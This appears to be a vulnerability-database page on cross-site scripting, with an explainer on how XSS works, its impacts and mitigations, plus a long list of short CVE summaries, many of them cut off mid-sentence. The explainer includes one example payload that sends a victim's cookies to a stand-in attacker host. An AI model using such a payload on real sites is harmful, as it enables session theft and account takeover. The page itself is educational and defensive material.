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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39200)

EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Wagtail is an open source content management system built on Django. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Python XSS Wagtail
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Solidres WordPress plugin through 0.9.4 does not sanitise and escape numerous parameter before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Solidres
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Image Over Image For WPBakery Page Builder WordPress plugin before 3.0 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Image Over Image For Wpbakery Page Builder
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Akbim Computer Panon allows Reflected XSS.0.2. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Panon
NVD VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Dupeoff
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Jenkins Mashup Portlets Plugin 1.1.2 and earlier provides the "Generic JS Portlet" feature that lets a user populate a portlet using a custom JavaScript expression, resulting in a stored cross-site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Jenkins XSS Mashup Portlets
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Jenkins Cppcheck Plugin 1.26 and earlier does not escape file names from Cppcheck report files before showing them on the Jenkins UI, resulting in a stored cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Jenkins XSS Cppcheck
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Pipeline Aggregator View Plugin 1.13 and earlier does not escape a variable representing the current view's URL in inline JavaScript, resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Jenkins XSS Pipeline Aggregator View
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins JaCoCo Plugin 3.3.2 and earlier does not escape class and method names shown on the UI, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to control. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Jenkins XSS Jacoco
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM WebSphere Application Server 9.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Websphere Application Server
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in EyouCMS up to 1.5.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Eyoucms
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in EyouCMS up to 1.5.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Eyoucms
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability classified as problematic has been found in SourceCodester Employee Payslip Generator 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Employee Payslip Generator System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Gadget Works Online Ordering System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Gadget Works Online Ordering System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Police Crime Record Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Police Crime Record Management System
NVD GitHub VulDB
EPSS 1% CVSS 9.0
CRITICAL PATCH Act Now

The web configuration service of the affected device contains an authenticated command injection vulnerability. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Command Injection Dx 2100L1 Cn Firmware
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Boards in Mattermost allows an attacker to upload a malicious SVG image file as an attachment to a card and share it using a direct link to the file. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Mattermost XSS Mattermost Server
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

A vulnerability was found in DataGear up to 4.5.1. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Datagear
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Grade Point Average GPA Calculator 1.0 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Grade Point Average Gpa Calculator
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in YKM YKM CRM allows Reflected XSS.03.30. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ykm Crm
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting in GitHub repository thorsten/phpmyfaq prior to 3.1.12. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Phpmyfaq
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.12. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Phpmyfaq
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository thorsten/phpmyfaq prior to 3.1.12. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Phpmyfaq
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Generic in GitHub repository thorsten/phpmyfaq prior to 3.1.12. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Phpmyfaq
NVD GitHub
EPSS 1% CVSS 4.7
MEDIUM POC PATCH This Month

Improper Neutralization of Input During Web Page Generation in GitHub repository thorsten/phpmyfaq prior to 3.1.12. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Phpmyfaq
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in Dreamer CMS up to 3.5.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

File Upload XSS Dreamer Cms
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability classified as problematic has been found in SourceCodester Grade Point Average GPA Calculator 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Grade Point Average Gpa Calculator
NVD GitHub VulDB
EPSS 3% CVSS 6.1
MEDIUM POC This Month

ZCBS Zijper Collectie Beheer Systeem (ZCBS), Zijper Publication Management System (ZPBS), and Zijper Image Bank Management System (ZBBS) 4.14k is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Zbbs Zcbs +1
NVD GitHub Exploit-DB
EPSS 0% CVSS 6.1
MEDIUM This Month

AnyMailing Joomla Plugin is vulnerable to stored cross site scripting (XSS) in templates and emails of AcyMailing, exploitable without authentication when access is granted to the campaign's creation. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Microsoft Acymailing
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Shortcodes Ultimate
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ocean Extra
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Image Hover Effects For Wpbakery Page Builder
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in GTmetrix GTmetrix for WordPress plugin <= 0.4.5 versions. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Gtmetrix
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Wp Smart Preloader
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Fancy Comments
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) vulnerability in Virames Vira-Investing allows Cross-Site Scripting (XSS).0.84.86. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Vira Investing
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Welcart E Commerce
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Kiwi TCMS is an open source test management system for both manual and automated testing. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Kiwi Tcms
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Forcepoint Cloud Security Gateway (CSG) Portal on Web Cloud Security Gateway, Email Security. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cloud Security Gateway Web Security
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Forcepoint Cloud Security Gateway (CSG) Portal on Web Cloud Security Gateway, Email Security. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cloud Security Gateway Web Security
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Forcepoint Cloud Security Gateway (CSG) Portal on Web Cloud Security Gateway, Email Security. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cloud Security Gateway Web Security
NVD
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.5.20. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Generic in GitHub repository pimcore/pimcore prior to 10.5.20. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Generic in GitHub repository pimcore/pimcore prior to 10.5.20. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC PATCH This Month

Cross-site Scripting (XSS) - Reflected in GitHub repository pimcore/pimcore prior to 10.5.20. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Pimcore
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Trudesk v1.2.6 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Add Tags parameter under the Create Ticket function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Trudesk
NVD GitHub
EPSS 0% CVSS 5.5
MEDIUM This Month

The Mega Main Menu plugin for WordPress is vulnerable to Stored Cross-Site Scripting via some of its settings parameters in versions up to, and including, 2.2.2 due to insufficient input sanitization. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Mega Main Menu
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Privilege escalation via stored XSS using the file upload service to upload malicious content. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Privilege Escalation File Upload XSS +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability, which was classified as problematic, has been found in SourceCodester Earnings and Expense Tracker App 1.0.php?a=register_user. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Earnings And Expense Tracker App
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability classified as problematic was found in SourceCodester Earnings and Expense Tracker App 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Earnings And Expense Tracker App
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability classified as problematic has been found in SourceCodester Earnings and Expense Tracker App 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Earnings And Expense Tracker Application
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability classified as problematic has been found in SourceCodester Simple Task Allocation System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Task Allocation System
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Young Entrepreneur E-Negosyo System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Young Entrepreneur E Negosyo System
NVD GitHub VulDB
EPSS 1% CVSS 6.1
MEDIUM This Month

Osprey Pump Controller version 1.01 inputs passed to a GET parameter are not properly sanitized before being returned to the user. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Osprey Pump Controller Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Smarty is a template engine for PHP. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Authentication Bypass Smarty +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A Cross-site scripting (XSS) vulnerability in the function encrypt_password() in login.tmpl.php in ATutor 2.2.1 allows remote attackers to inject arbitrary web script or HTML via the token parameter. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Atutor
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Interactive Svg Image Map Builder
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

GoCD is an open source continuous delivery server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Gocd
NVD GitHub
EPSS 57% CVSS 4.8
MEDIUM This Month

Adobe Commerce versions 2.4.4-p2 (and earlier) and 2.4.5-p1 (and earlier) are affected by a stored Cross-Site Scripting (XSS) vulnerability that could be abused by a high-privileged attacker to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Adobe XSS Commerce +1
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

A malicious user could leverage this vulnerability to escalate privileges or perform unauthorized actions in the context of the targeted privileged users. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Ey As525F001 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An unauthenticated remote attacker could provide a malicious link and trick an unsuspecting user into clicking on it. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ey As525F001 Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

An unauthenticated remote attacker could force all authenticated users, such as administrative users, to perform unauthorized actions by viewing the logs. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Privilege Escalation XSS Ey As525F001 Firmware
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in File Management Project 1.0.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field under the Edit. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS File Management System
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

SourceCodester Water Billing System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the lastname text box under the Add Client module. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Water Billing System
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Modern Events Calendar Lite WordPress plugin before 6.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Modern Events Calendar Lite
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

The Complianz WordPress plugin before 6.4.2, Complianz Premium WordPress plugin before 6.4.2 do not validate and escape some of its shortcode attributes before outputting them back in a page/post. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Complianz
NVD WPScan
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Simple File List WordPress plugin before 6.0.10 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Simple File List
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Cookie Notice & Compliance for GDPR / CCPA WordPress plugin before 2.4.7 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Cookie Notice Compliance For Gdpr Ccpa
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Smart Slider 3 WordPress plugin before 3.5.1.14 does not properly validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed,. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Smart Slider 3
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The WP Image Carousel WordPress plugin through 1.0.2 does not sanitise and escape some parameters, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Image Carousel
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Schedulicity WordPress plugin through 2.21 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Schedulicity
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The menu shortcode WordPress plugin through 1.0 does not validate and escape some of its block options before outputting them back in a page/post where the block is embed, which could allow users. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Menu Shortcode
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The NEX-Forms WordPress plugin before 8.3.3 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Nex Forms
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM This Month

Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Greenshift
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Phpgurukul Park Ticketing Management System 1.0 is vulnerable to Cross Site Scripting (XSS) via the Admin Name parameter. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Park Ticketing Management System
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

RIFARTEK IOT Wall transportation function has insufficient filtering for user input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Iot Wall
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

HGiga MailSherlock’s specific function has insufficient filtering for user input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Oaklouds Mailsherlock
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Openfind Mail2000 file uploading function has insufficient filtering for user input. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Mail2000
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

In MISP 2.4.169, app/Lib/Tools/CustomPaginationTool.php allows XSS in the community index. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Misp
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in OTCMS 6.72. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Otcms
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Dataease is an open source data visualization and analysis tool. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

File Upload XSS Dataease
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

SourceCodester Loan Management System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the Type parameter under the Edit Loan Types module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Loan Management System
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in XiaoBingBy TeaCMS up to 2.0.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Teacms
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

If the algebra filter was enabled but not functional (eg the necessary binaries were missing from the server), it presented an XSS risk. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Content output by the database auto-linking filter required additional sanitizing to prevent an XSS risk. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Moodle
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability has been found in Rebuild up to 3.2.3 and classified as problematic. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Rebuild
NVD GitHub VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability was found in Zhong Bang CRMEB Java up to 1.3.4. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Java XSS Crmeb Java
NVD GitHub VulDB
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Top 10 Popular Posts
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cm Answers
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Klaviyo
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39200

Related CWEs

MITRE ATT&CK

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